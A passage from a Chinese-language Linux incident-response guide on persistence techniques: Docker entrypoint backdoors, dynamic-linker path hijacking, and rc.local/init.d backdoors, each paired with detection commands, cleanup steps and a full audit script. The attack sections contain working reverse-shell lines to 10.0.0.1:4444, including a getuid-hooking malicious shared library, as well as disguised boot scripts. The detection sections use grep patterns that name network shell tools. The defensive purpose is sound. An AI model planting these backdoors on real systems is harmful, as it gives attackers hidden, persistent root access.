# 修改 ENTRYPOINT 或 CMD
cat > /host/path/to/project/entrypoint.sh << 'EOF'
#!/bin/bash
# Original entrypoint

# Backdoor: 启动时尝试反弹 shell
(nohup bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' &>/dev/null &)

# 执行原始命令
exec "$@"
EOF

10.3 检测方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# 1. 检查所有容器的安全配置
for cid in $(docker ps -q); do
echo "=== Container: $(docker inspect --format '{{.Name}}' $cid) ==="

# 检查是否 privileged
docker inspect --format '{{.HostConfig.Privileged}}' $cid

# 检查挂载
docker inspect --format '{{json .Mounts}}' $cid | python3 -m json.tool

# 检查 Capabilities
docker inspect --format '{{json .HostConfig.CapAdd}}' $cid

# 检查 PID/NET 模式
docker inspect --format 'PidMode={{.HostConfig.PidMode}} NetworkMode={{.HostConfig.NetworkMode}}' $cid

# 检查 docker.sock 挂载
docker inspect --format '{{json .Mounts}}' $cid | grep -i "docker.sock"
done

# 2. 查找高风险容器(一行命令)
docker ps --format '{{.ID}} {{.Names}}' | while read id name; do
priv=$(docker inspect --format '{{.HostConfig.Privileged}}' $id)
mounts=$(docker inspect --format '{{range .Mounts}}{{.Source}}->{{.Destination}} {{end}}' $id)
caps=$(docker inspect --format '{{json .HostConfig.CapAdd}}' $id)
[ "$priv" = "true" ] && echo "PRIVILEGED: $name ($id)"
echo "$mounts" | grep -q "docker.sock" && echo "DOCKER.SOCK: $name ($id)"
echo "$mounts" | grep -qE "^/" && echo "HOST_MOUNT: $name ($id) - $mounts"
done

# 3. 检查 Docker daemon 配置
cat /etc/docker/daemon.json 2>/dev/null

# 4. 检查镜像是否被篡改
docker images --digests # 对比远程仓库的 digest

# 5. 检查容器内是否有异常进程
for cid in $(docker ps -q); do
echo "=== $(docker inspect --format '{{.Name}}' $cid) ==="
docker top $cid
done

# 6. 审查 docker-compose.yml 和 Dockerfile
find / -name "docker-compose.yml" -o -name "docker-compose.yaml" -o -name "Dockerfile" 2>/dev/null

10.4 清除与加固

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# 停止并删除可疑容器
docker stop backdoor && docker rm backdoor

# 清理被篡改的镜像
docker rmi malicious-image:latest
docker image prune -a # 清理所有未使用的镜像

# 加固:Docker 安全最佳实践

# 1. 禁止 privileged 模式
# 在 /etc/docker/daemon.json 中配置
cat > /etc/docker/daemon.json << 'EOF'
{
"no-new-privileges": true,
"userns-remap": "default",
"live-restore": true,
"log-driver": "json-file",
"log-opts": {
"max-size": "10m",
"max-file": "3"
}
}
EOF

# 2. 使用 AppArmor/SELinux 限制容器
docker run --security-opt apparmor=docker-default ...

# 3. 限制 Capabilities
docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE ...

# 4. 只读文件系统
docker run --read-only --tmpfs /tmp ...

# 5. 不要挂载 Docker socket
# 如果必须,使用 socket proxy(如 tecnativa/docker-socket-proxy)

# 6. 定期审计
docker bench security # Docker Bench for Security

十一、动态链接器配置劫持(非 LD_PRELOAD)

本节是对 19-LD_PRELOAD劫持 的补充,介绍除 LD_PRELOAD 之外的其他共享库注入方式

11.1 原理详解

动态链接器工作原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
程序启动


内核加载 ELF 二进制文件


内核启动动态链接器 /lib/ld-linux-x86-64.so.2

├──1. 检查 LD_PRELOAD(已在 19 页覆盖)
│ → /etc/ld.so.preload
│ → LD_PRELOAD 环境变量

├──2. 检查 RPATH/RUNPATH(编译时嵌入 ELF)
│ → 二进制文件自身指定的库搜索路径

├──3. 检查 LD_LIBRARY_PATH 环境变量

├──4. 检查 /etc/ld.so.cache(ldconfig 生成的缓存)
│ → 从 /etc/ld.so.conf 和 /etc/ld.so.conf.d/ 生成

└──5. 默认路径 /lib, /usr/lib


找到库文件 → 加载到进程地址空间 → 解析符号 → 程序运行

本节覆盖的攻击面(LD_PRELOAD 之外)

/etc/ld.so.conf.d/ — 添加恶意库搜索路径

ldconfig 缓存投毒 — 篡改共享库缓存

RPATH/RUNPATH 劫持 — 利用二进制中编译的路径

直接替换共享库文件

11.2 攻击手法一:ld.so.conf.d 路径注入

原理

/etc/ld.so.conf.d/ 目录下的 .conf 文件定义了共享库搜索路径

ldconfig 命令读取这些配置,生成 /etc/ld.so.cache 缓存

攻击者添加包含恶意库的目录 → 恶意库被优先加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 攻击者创建恶意库目录
mkdir -p /usr/local/lib/x86_64-linux-gnu/security

# 编译恶意共享库(替换 libc 中的某个函数)
cat > /tmp/evil.c << 'CEOF'
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>

// Hook getuid() 函数
uid_t getuid(void) {
// 原始函数
uid_t (*orig_getuid)(void) = dlsym(RTLD_NEXT, "getuid");

// 恶意操作:每次调用 getuid 时尝试回连
static int called = 0;
if (!called) {
called = 1;
system("(bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 &) 2>/dev/null");
}

return orig_getuid();
}
CEOF

gcc -shared -fPIC -o /usr/local/lib/x86_64-linux-gnu/security/libpam_helper.so /tmp/evil.c -ldl

# 添加恶意库路径
echo "/usr/local/lib/x86_64-linux-gnu/security" > /etc/ld.so.conf.d/99-security-libs.conf

# 更新缓存
ldconfig

11.3 攻击手法二:ldconfig 缓存投毒

原理

/etc/ld.so.cache 是 ldconfig 根据 /etc/ld.so.conf.d/ 生成的二进制缓存文件

动态链接器直接读取这个缓存来定位共享库

如果攻击者能修改缓存,可以让系统加载恶意版本的库

1
2
3
4
5
6
7
8
9
10
11
12
# 查看当前缓存中的库
ldconfig -p | head -20

# 攻击场景:替换某个库的路径指向恶意版本
# 1. 编译与目标库同名的恶意版本
# 2. 放入自定义目录
# 3. 通过 ld.so.conf.d 确保优先加载

# 更直接的方式:直接替换共享库文件(但风险高,可能导致系统崩溃)
# 先备份原始库
cp /lib/x86_64-linux-gnu/libpam.so.0 /lib/x86_64-linux-gnu/libpam.so.0.bak
# 替换为恶意版本(需要非常精确地保持 ABI 兼容)

11.4 攻击手法三:RPATH/RUNPATH 劫持

原理

ELF 二进制文件可以在编译时通过 -rpath-runpath 指定额外的库搜索路径

这些路径嵌入在 ELF 文件的 .dynamic 段中

如果程序使用了 RPATH 且路径可写,攻击者可以在该路径放置恶意库

1
2
3
4
5
6
7
8
9
10
11
12
# 查找使用 RPATH/RUNPATH 的二进制文件
find /usr/bin /usr/sbin /usr/local/bin -type f -executable -exec sh -c '
rpath=$(readelf -d "$1" 2>/dev/null | grep -E "RPATH|RUNPATH")
if [ -n "$rpath" ]; then
echo "$1: $rpath"
fi
' _ {} \;

# 如果发现 RPATH 指向可写目录,攻击者可以放入恶意库
# 例如:某个程序的 RPATH 是 /opt/app/lib/
# 攻击者在该目录放入同名恶意库
cp malicious.so /opt/app/lib/libcrypto.so.1.1

$ORIGIN 劫持

RPATH 中的 $ORIGIN 表示二进制文件所在目录

如果二进制文件所在目录可写,攻击者可以在同目录放置恶意库

1
2
3
4
# 查找使用 $ORIGIN 的程序
find /usr -type f -executable -exec sh -c '
readelf -d "$1" 2>/dev/null | grep -q "ORIGIN" && echo "$1"
' _ {} \; 2>/dev/null

11.5 检测方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 1. 检查 ld.so.conf.d 中的可疑条目
ls -la /etc/ld.so.conf.d/
cat /etc/ld.so.conf.d/*.conf

# 2. 验证配置文件的包归属
for f in /etc/ld.so.conf.d/*.conf; do
dpkg -S "$f" 2>/dev/null || rpm -qf "$f" 2>/dev/null || echo "ORPHAN: $f"
done

# 3. 检查 ldconfig 缓存中的异常路径
ldconfig -p | awk '{print $NF}' | sort | uniq -c | sort -rn | head
# 关注来自非标准路径的库
ldconfig -p | grep -vE "^|/lib/|/usr/lib/" | head

# 4. 检查 /etc/ld.so.preload(LD_PRELOAD 持久化文件)
cat /etc/ld.so.preload 2>/dev/null

# 5. 检查 LD_LIBRARY_PATH 环境变量
env | grep LD_
grep -rn "LD_LIBRARY_PATH\|LD_PRELOAD" /etc/profile /etc/profile.d/ \
/etc/bash.bashrc /root/.bashrc /home/*/.bashrc 2>/dev/null

# 6. 验证关键共享库的完整性
# Debian/Ubuntu:
dpkg --verify libc6 libpam0g libssl1.1 2>/dev/null
# RHEL/CentOS:
rpm -V glibc pam openssl-libs 2>/dev/null

# 7. 查找使用 RPATH/RUNPATH 的二进制文件
find /usr/local/bin /opt -type f -executable -exec sh -c '
readelf -d "$1" 2>/dev/null | grep -qE "RPATH|RUNPATH" && \
echo "$1: $(readelf -d "$1" 2>/dev/null | grep -E "RPATH|RUNPATH")"
' _ {} \; 2>/dev/null

11.6 清除与加固

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 删除恶意 ld.so.conf.d 条目
rm /etc/ld.so.conf.d/99-security-libs.conf

# 重新生成缓存
ldconfig

# 恢复被替换的共享库
# Debian/Ubuntu:
apt install --reinstall libc6 libpam-modules
# RHEL/CentOS:
yum reinstall glibc pam

# 加固:监控 ld.so.conf.d 目录
auditctl -w /etc/ld.so.conf.d/ -p wa -k ld_conf_change
auditctl -w /etc/ld.so.preload -p wa -k ld_preload_change
auditctl -w /etc/ld.so.cache -p wa -k ld_cache_change

十二、rc.local 与 init.d 持久化(深入补充)

本节是对 08-服务与启动项审计 中 rc.local 部分的深入补充

12.1 原理详解:rc.local 在 systemd 时代

历史背景

rc.local 是 SysVinit 时代的「万能启动脚本」,在所有服务启动完成后执行

systemd 时代,rc.local 通过 rc-local.service 兼容层继续支持

很多管理员认为 rc.local 已经「过时」而不再检查,攻击者正好利用这一点

systemd 如何执行 rc.local

1
2
3
4
5
6
7
8
9
10
11
systemd 启动


multi-user.target


rc-local.service (compat)
│ 条件:/etc/rc.local 存在且可执行


以 root 权限执行 /etc/rc.local
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 查看 rc-local.service 的定义
systemctl cat rc-local.service
# [Unit]
# Description=/etc/rc.local Compatibility
# ConditionFileIsExecutable=/etc/rc.local
# After=network.target
#
# [Service]
# Type=forking
# ExecStart=/etc/rc.local start
# TimeoutSec=0
# RemainAfterExit=yes
# GuessMainPID=no

# 关键:ConditionFileIsExecutable=/etc/rc.local
# 只有 /etc/rc.local 可执行时才会运行
# 攻击者需要确保 chmod +x /etc/rc.local

rc.local 的特殊性

#!/bin/sh 开头,以 exit 0 结尾

exit 0 之前的所有命令都以 root 权限执行

很多系统默认 rc.local 不存在或为空(攻击者可能从头创建)

12.2 攻击实现

rc.local 后门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 如果 rc.local 不存在,创建它
cat > /etc/rc.local << 'EOF'
#!/bin/sh -e
#
# rc.local - executed at end of each multiuser runlevel
#
# Make sure this script exits with 0 on success or any other
# value on error.

# System optimization
/usr/local/sbin/system-optimizer &

exit 0
EOF
chmod +x /etc/rc.local

# 确保 rc-local.service 已启用
systemctl enable rc-local.service 2>/dev/null
systemctl daemon-reload

在已有 rc.local 中注入(更隐蔽)

1
2
# 在 exit 0 之前插入恶意代码
sed -i '/^exit 0/i # Network stack optimization\n/usr/local/sbin/.net-tune &' /etc/rc.local

init.d 脚本后门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# 创建恶意 init.d 脚本
cat > /etc/init.d/system-monitor << 'EOF'
#!/bin/sh
### BEGIN INIT INFO
# Provides: system-monitor
# Required-Start: $remote_fs $syslog $network
# Required-Stop: $remote_fs $syslog
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: System Performance Monitor
# Description: Monitors system metrics and reports anomalies
### END INIT INFO

case "$1" in
start)
echo "Starting system-monitor..."
/usr/local/sbin/.sys-monitor &
;;
stop)
echo "Stopping system-monitor..."
killall .sys-monitor 2>/dev/null
;;
restart)
$0 stop
$0 start
;;
status)
pgrep -x .sys-monitor > /dev/null && echo "Running" || echo "Stopped"
;;
*)
echo "Usage: $0 {start|stop|restart|status}"
exit 1
;;
esac
exit 0
EOF
chmod +x /etc/init.d/system-monitor

# 注册到运行级别(SysVinit 方式)
update-rc.d system-monitor defaults
# 或
chkconfig --add system-monitor # RHEL

LSB Init Header 的重要性

### BEGIN INIT INFO### END INIT INFO 之间是 LSB (Linux Standard Base) 头

定义了服务的依赖关系和运行级别

没有这个头的 init.d 脚本在某些系统上会被忽略

攻击者必须包含完整的 LSB 头才能确保脚本被正确执行

12.3 检测方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 1. 检查 rc.local
ls -la /etc/rc.local /etc/rc.d/rc.local 2>/dev/null
cat /etc/rc.local 2>/dev/null

# 2. 检查 rc.local 是否可执行(可执行才会被 systemd 运行)
test -x /etc/rc.local && echo "EXECUTABLE - will run at boot" || echo "Not executable"

# 3. 检查 rc-local.service 状态
systemctl status rc-local.service

# 4. 检查 rc.local 的修改时间
stat /etc/rc.local 2>/dev/null

# 5. 列出所有 init.d 脚本
ls -la /etc/init.d/

# 6. 检查哪些 init.d 脚本不属于任何包
for f in /etc/init.d/*; do
[ -f "$f" ] || continue
dpkg -S "$f" 2>/dev/null || rpm -qf "$f" 2>/dev/null || echo "ORPHAN: $f"
done

# 7. 检查 init.d 脚本的内容
for f in /etc/init.d/*; do
[ -f "$f" ] || continue
grep -lE "(curl|wget|nc |ncat|bash -i|/dev/tcp|python|perl|base64|nohup)" "$f" && \
echo "^^^ Suspicious: $f"
done

# 8. 检查运行级别链接
ls -la /etc/rc*.d/ 2>/dev/null | grep -v "^total\|^$\|^/"
# 或
chkconfig --list 2>/dev/null

12.4 清除与加固

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 清除 rc.local 中的恶意代码
vim /etc/rc.local # 手动检查和清理

# 如果不需要 rc.local,禁用它
chmod -x /etc/rc.local
systemctl disable rc-local.service
systemctl mask rc-local.service

# 删除恶意 init.d 脚本
update-rc.d system-monitor remove # 先移除运行级别链接
rm /etc/init.d/system-monitor # 再删除脚本

# 加固:监控启动脚本
auditctl -w /etc/rc.local -p wa -k rc_local
auditctl -w /etc/init.d/ -p wa -k init_d

十三、Linux 持久化完整排查 Checklist

13.1 持久化位置全景表

序号 持久化技术 检查位置 详细参考页
1 Crontab 计划任务 /var/spool/cron/, /etc/crontab, /etc/cron.d/, /etc/cron.{daily,hourly,weekly,monthly}/ 15-Crontab后门
2 at 一次性任务 /var/spool/at/, atq 输出 本页 第一节
3 Systemd Timer systemctl list-timers --all 07-计划任务审计
4 SSH authorized_keys /root/.ssh/authorized_keys, /home/*/.ssh/authorized_keys 16-SSH-authorized_keys后门
5 Systemd Service /etc/systemd/system/, /usr/lib/systemd/system/, ~/.config/systemd/user/ 17-Systemd-Service后门
6 Bashrc/Profile /etc/profile, /etc/profile.d/, /etc/bash.bashrc, ~/.bashrc, ~/.bash_profile, ~/.profile 18-Bashrc与Profile后门
7 LD_PRELOAD /etc/ld.so.preload, LD_PRELOAD 环境变量 19-LD_PRELOAD劫持
8 PAM 后门 /etc/pam.d/, /lib/security/, /etc/security/ 20-PAM后门
9 Rootkit (LKM) lsmod, /proc/modules, /sys/module/ 21-Rootkit检测
10 SUID 后门 find / -perm -4000 22-SUID后门
11 Alias 后门 alias, ~/.bashrc 中的 alias 定义 23-Alias后门
12 Vim Modeline ~/.vimrc, 文件末尾的 vim: 24-Vim-Modeline后门
13 SSH 软链接 find / -type l -name "sshd" 25-SSH软链接后门
14 inetd/xinetd /etc/inetd.conf, /etc/xinetd.d/ 26-inetd与xinetd后门
15 反弹 Shell 网络连接分析 27-反弹Shell技术与检测
16 udev 规则 /etc/udev/rules.d/, grep RUN+= 本页 第二节
17 Git Hooks find / -path "*/.git/hooks/*" -executable 本页 第三节
18 APT/YUM Hook /etc/apt/apt.conf.d/, /etc/yum/pluginconf.d/ 本页 第四节
19 Trap 命令 grep "trap " ~/.bashrc /etc/bash.bashrc 本页 第五节
20 Linux Capabilities getcap -r / 2>/dev/null 本页 第六节
21 motd 后门 /etc/update-motd.d/ 本页 第七节
22 内核模块自动加载 /etc/modules-load.d/, /etc/modprobe.d/ install 指令 本页 第八节
23 initramfs/GRUB /boot/, /etc/default/grub, initramfs 内容 本页 第九节
24 Docker 逃逸持久化 docker inspect, Docker 配置 本页 第十节
25 动态链接器配置 /etc/ld.so.conf.d/, RPATH/RUNPATH 本页 第十一节
26 rc.local / init.d /etc/rc.local, /etc/init.d/ 本页 第十二节

13.2 一键排查脚本

以下脚本汇总检查所有已知的 Linux 持久化位置,适合在应急响应初期快速排查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
#!/bin/bash
#============================================================
# Linux 持久化全面排查脚本
# 用法: sudo bash persistence_check.sh | tee /tmp/persistence_report.txt
# 覆盖 26 种已知持久化技术
#============================================================

RED='\033[0;31m'
YELLOW='\033[1;33m'
GREEN='\033[0;32m'
CYAN='\033[0;36m'
NC='\033[0m'

section() {
echo ""
echo -e "${CYAN}================================================================${NC}"
echo -e "${CYAN}[*] $1${NC}"
echo -e "${CYAN}================================================================${NC}"
}

warn() {
echo -e "${YELLOW}[!] $1${NC}"
}

alert() {
echo -e "${RED}[!!!] $1${NC}"
}

ok() {
echo -e "${GREEN}[OK] $1${NC}"
}

#------------------------------------------------------------
section "1/26 - Crontab 计划任务"
#------------------------------------------------------------
echo "--- 系统级 crontab ---"
cat /etc/crontab 2>/dev/null
echo "--- /etc/cron.d/ ---"
ls -la /etc/cron.d/ 2>/dev/null
for f in /etc/cron.d/*; do
[ -f "$f" ] && echo "=== $f ===" && cat "$f"
done
echo "--- 用户级 crontab ---"
for dir in /var/spool/cron/crontabs /var/spool/cron; do
if [ -d "$dir" ]; then
for f in "$dir"/*; do
[ -f "$f" ] && echo "=== $f ===" && cat "$f"
done
fi
done
echo "--- cron.daily/hourly/weekly/monthly ---"
for period in daily hourly weekly monthly; do
echo "--- /etc/cron.$period/ ---"
ls -la /etc/cron.$period/ 2>/dev/null
done

#------------------------------------------------------------
section "2/26 - at 一次性任务"
#------------------------------------------------------------
if command -v atq &>/dev/null; then
atq 2>/dev/null
count=$(atq 2>/dev/null | wc -l)
if [ "$count" -gt 0 ]; then
warn "发现 $count 个 at 任务"
for job in $(atq 2>/dev/null | awk '{print $1}'); do
echo "--- Job $job ---"
at -c "$job" 2>/dev/null | tail -5
done
else
ok "at 队列为空"
fi
else
ok "at 命令不可用"
fi
ls -la /var/spool/at/ 2>/dev/null

#------------------------------------------------------------
section "3/26 - Systemd Timers"
#------------------------------------------------------------
systemctl list-timers --all --no-pager 2>/dev/null

#------------------------------------------------------------
section "4/26 - SSH authorized_keys"
#------------------------------------------------------------
for home in /root /home/*; do
ak="$home/.ssh/authorized_keys"
if [ -f "$ak" ]; then
echo "--- $ak ---"
wc -l "$ak"
cat "$ak"
fi
done

#------------------------------------------------------------
section "5/26 - Systemd Services (非系统默认)"
#------------------------------------------------------------
systemctl list-unit-files --type=service --state=enabled --no-pager 2>/dev/null
echo "--- 用户自定义 unit 文件 ---"
find /etc/systemd/system/ -name "*.service" -type f 2>/dev/null | while read f; do
dpkg -S "$f" 2>/dev/null || rpm -qf "$f" 2>/dev/null || echo "ORPHAN: $f"
done

#------------------------------------------------------------
section "6/26 - Bashrc / Profile 后门"
#------------------------------------------------------------
for f in /etc/profile /etc/bash.bashrc /etc/profile.d/*.sh /root/.bashrc /root/.bash_profile /root/.profile /home/*/.bashrc /home/*/.bash_profile /home/*/.profile; do
[ -f "$f" ] || continue
suspicious=$(grep -nE "(curl|wget|nc |ncat|bash -i|/dev/tcp|python.*import|perl -e|base64|eval|nohup)" "$f" 2>/dev/null)
if [ -n "$suspicious" ]; then
alert "可疑内容 in $f:"
echo "$suspicious"
fi
done

#------------------------------------------------------------
section "7/26 - LD_PRELOAD"
#------------------------------------------------------------
echo "--- /etc/ld.so.preload ---"
cat /etc/ld.so.preload 2>/dev/null || ok "文件不存在"
echo "--- 环境变量 ---"
env | grep -E "LD_PRELOAD|LD_LIBRARY_PATH" 2>/dev/null || ok "未设置"

#------------------------------------------------------------
section "8/26 - PAM 模块"
#------------------------------------------------------------
echo "--- 非标准 PAM 模块 ---"
find /lib/security/ /lib64/security/ /usr/lib/security/ -name "*.so" 2>/dev/null | while read f; do
dpkg -S "$f" 2>/dev/null || rpm -qf "$f" 2>/dev/null || echo "ORPHAN: $f"
done

#------------------------------------------------------------
section "9/26 - 内核模块 (LKM)"
#------------------------------------------------------------
echo "--- 已加载模块数量 ---"
lsmod | wc -l
echo "--- 非签名模块 ---"
for mod in $(lsmod | awk 'NR>1{print $1}'); do
sig=$(modinfo "$mod" 2>/dev/null | grep "^sig_id:")
[ -z "$sig" ] && warn "无签名: $mod"
done

#------------------------------------------------------------
section "10/26 - SUID 文件"
#------------------------------------------------------------
find / -perm -4000 -type f 2>/dev/null | while read f; do
dpkg -S "$f" 2>/dev/null || rpm -qf "$f" 2>/dev/null || alert "ORPHAN SUID: $f"
done

#------------------------------------------------------------
section "11/26 - Alias 后门"
#------------------------------------------------------------
for f in /root/.bashrc /home/*/.bashrc /etc/bash.bashrc; do
[ -f "$f" ] || continue
aliases=$(grep "^alias " "$f" 2>/dev/null)
if [ -n "$aliases" ]; then
echo "--- $f ---"
echo "$aliases"
fi
done

#------------------------------------------------------------
section "12/26 - Vim Modeline"
#------------------------------------------------------------
for f in /root/.vimrc /home/*/.vimrc /root/.exrc /home/*/.exrc; do
[ -f "$f" ] && echo "--- $f ---" && cat "$f"
done

#------------------------------------------------------------
section "13/26 - SSH 软链接"
#------------------------------------------------------------
find / -type l -name "sshd" 2>/dev/null | while read f; do
alert "SSH 软链接: $f -> $(readlink -f $f)"
done

#------------------------------------------------------------
section "14/26 - inetd / xinetd"
#------------------------------------------------------------
[ -f /etc/inetd.conf ] && echo "--- /etc/inetd.conf ---" && cat /etc/inetd.conf
[ -d /etc/xinetd.d/ ] && echo "--- /etc/xinetd.d/ ---" && ls -la /etc/xinetd.d/

#------------------------------------------------------------
section "15/26 - 反弹 Shell 连接"
#------------------------------------------------------------
echo "--- 可疑外连 ---"
ss -tnp 2>/dev/null | grep -E "ESTAB|SYN-SENT" | grep -vE ":22 |:80 |:443 "

#------------------------------------------------------------
section "16/26 - udev 规则"
#------------------------------------------------------------
echo "--- /etc/udev/rules.d/ ---"
ls -la /etc/udev/rules.d/ 2>/dev/null
grep -rn "RUN+=" /etc/udev/rules.d/ 2>/dev/null

#------------------------------------------------------------
section "17/26 - Git Hooks"
#------------------------------------------------------------
echo "--- 可执行的 Git Hooks ---"
find /root /home /srv /var /opt -path "*/.git/hooks/*" -executable -not -name "*.sample" -type f 2>/dev/null
echo "--- 全局 Git 配置 ---"
for home in /root /home/*; do
cfg="$home/.gitconfig"
[ -f "$cfg" ] && grep -E "templateDir|hooksPath" "$cfg" 2>/dev/null && warn "自定义 hooks 配置: $cfg"
done

#------------------------------------------------------------
section "18/26 - APT/YUM Hooks"
#------------------------------------------------------------
echo "--- APT Hooks ---"
grep -rn "Invoke" /etc/apt/apt.conf.d/ 2>/dev/null
echo "--- YUM Plugins ---"
ls -la /etc/yum/pluginconf.d/ 2>/dev/null
ls -la /usr/lib/yum-plugins/ 2>/dev/null

#------------------------------------------------------------
section "19/26 - Trap 命令"
#------------------------------------------------------------
grep -rn "trap " /etc/bash.bashrc /etc/profile /etc/profile.d/ \
/root/.bashrc /home/*/.bashrc 2>/dev/null | grep -E "DEBUG|EXIT|ERR"

#------------------------------------------------------------
section "20/26 - Linux Capabilities"
#------------------------------------------------------------
echo "--- 设置了 Capabilities 的文件 ---"
getcap -r / 2>/dev/null | grep -vE "^$" | while read line; do
echo "$line"
f=$(echo "$line" | awk '{print $1}')
echo "$line" | grep -qE "cap_setuid|cap_setgid|cap_dac|cap_sys_admin|cap_sys_ptrace" && \
alert "高危 Capability: $line"
done

#------------------------------------------------------------
section "21/26 - motd 后门"
#------------------------------------------------------------
echo "--- /etc/update-motd.d/ ---"
ls -la /etc/update-motd.d/ 2>/dev/null
for f in /etc/update-motd.d/*; do
[ -f "$f" ] || continue
suspicious=$(grep -nE "(curl|wget|nc |bash -i|/dev/tcp|python|nohup)" "$f" 2>/dev/null)
[ -n "$suspicious" ] && alert "可疑 motd 脚本 $f: $suspicious"
done

#------------------------------------------------------------
section "22/26 - 内核模块自动加载配置"
#------------------------------------------------------------
echo "--- /etc/modules ---"
cat /etc/modules 2>/dev/null
echo "--- /etc/modules-load.d/ ---"
cat /etc/modules-load.d/*.conf 2>/dev/null
echo "--- modprobe.d install 指令 ---"
grep -rn "^install" /etc/modprobe.d/ /lib/modprobe.d/ 2>/dev/null | grep -v "/bin/true\|/bin/false"

#------------------------------------------------------------
section "23/26 - initramfs / GRUB"
#------------------------------------------------------------
echo "--- 内核命令行 ---"
cat /proc/cmdline
echo "--- GRUB 配置 ---"
grep "GRUB_CMDLINE" /etc/default/grub 2>/dev/null
echo "--- initramfs hooks ---"
ls -la /etc/initramfs-tools/hooks/ 2>/dev/null
ls -la /etc/initramfs-tools/scripts/init-bottom/ 2>/dev/null
echo "--- /boot 文件修改时间 ---"
ls -la /boot/initrd* /boot/initramfs* /boot/grub/grub.cfg 2>/dev/null

#------------------------------------------------------------
section "24/26 - Docker 容器安全"
#------------------------------------------------------------
if command -v docker &>/dev/null; then
echo "--- Privileged 容器 ---"
docker ps -q 2>/dev/null | while read cid; do
name=$(docker inspect --format '{{.Name}}' "$cid" 2>/dev/null)
priv=$(docker inspect --format '{{.HostConfig.Privileged}}' "$cid" 2>/dev/null)
[ "$priv" = "true" ] && alert "Privileged 容器: $name ($cid)"
docker inspect --format '{{range .Mounts}}{{.Source}} {{end}}' "$cid" 2>/dev/null | \
grep -q "docker.sock" && alert "Docker socket 暴露: $name ($cid)"
done
else
ok "Docker 未安装"
fi

#------------------------------------------------------------
section "25/26 - 动态链接器配置"
#------------------------------------------------------------
echo "--- /etc/ld.so.conf.d/ ---"
for f in /etc/ld.so.conf.d/*.conf; do
[ -f "$f" ] || continue
dpkg -S "$f" 2>/dev/null || rpm -qf "$f" 2>/dev/null || warn "ORPHAN: $f"
done
echo "--- /etc/ld.so.preload ---"
cat /etc/ld.so.preload 2>/dev/null && alert "/etc/ld.so.preload 存在内容!"

#------------------------------------------------------------
section "26/26 - rc.local / init.d"
#------------------------------------------------------------
echo "--- rc.local ---"
if [ -x /etc/rc.local ]; then
warn "/etc/rc.local 可执行!"
cat /etc/rc.local
else
ok "/etc/rc.local 不可执行或不存在"
fi
echo "--- 非包管理的 init.d 脚本 ---"
for f in /etc/init.d/*; do
[ -f "$f" ] || continue
dpkg -S "$f" 2>/dev/null || rpm -qf "$f" 2>/dev/null || warn "ORPHAN: $f"
done

#------------------------------------------------------------
section "排查完成"
#------------------------------------------------------------
echo ""
echo "报告生成时间: $(date)"
echo "主机名: $(hostname)"
echo "内核版本: $(uname -r)"
echo ""
echo "请重点关注标记为 [!!!] 的告警项"

13.3 排查优先级建议

第一优先级(最常见的持久化方式)

Crontab 计划任务

SSH authorized_keys

Systemd Service

Bashrc / Profile

rc.local

第二优先级(中等常见)

SUID 后门

LD_PRELOAD

PAM 后门

at 任务

Alias 后门

反弹 Shell 连接

第三优先级(较冷门但危险)

udev 规则

Git Hooks(开发环境重点)

APT/YUM Hooks

Linux Capabilities

motd 后门

Trap 命令

动态链接器配置

第四优先级(高级持久化,需要深度排查)

内核模块 (LKM / Rootkit)

initramfs / GRUB

Docker 逃逸

内核 syscall table Hook

inetd/xinetd

13.4 快速排查命令速查表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# === 复制粘贴即用的排查命令 ===

# Crontab
crontab -l; ls /etc/cron.d/; cat /etc/crontab

# at
atq; ls /var/spool/at/

# SSH keys
cat /root/.ssh/authorized_keys; find /home -name authorized_keys -exec cat {} \;

# Systemd services
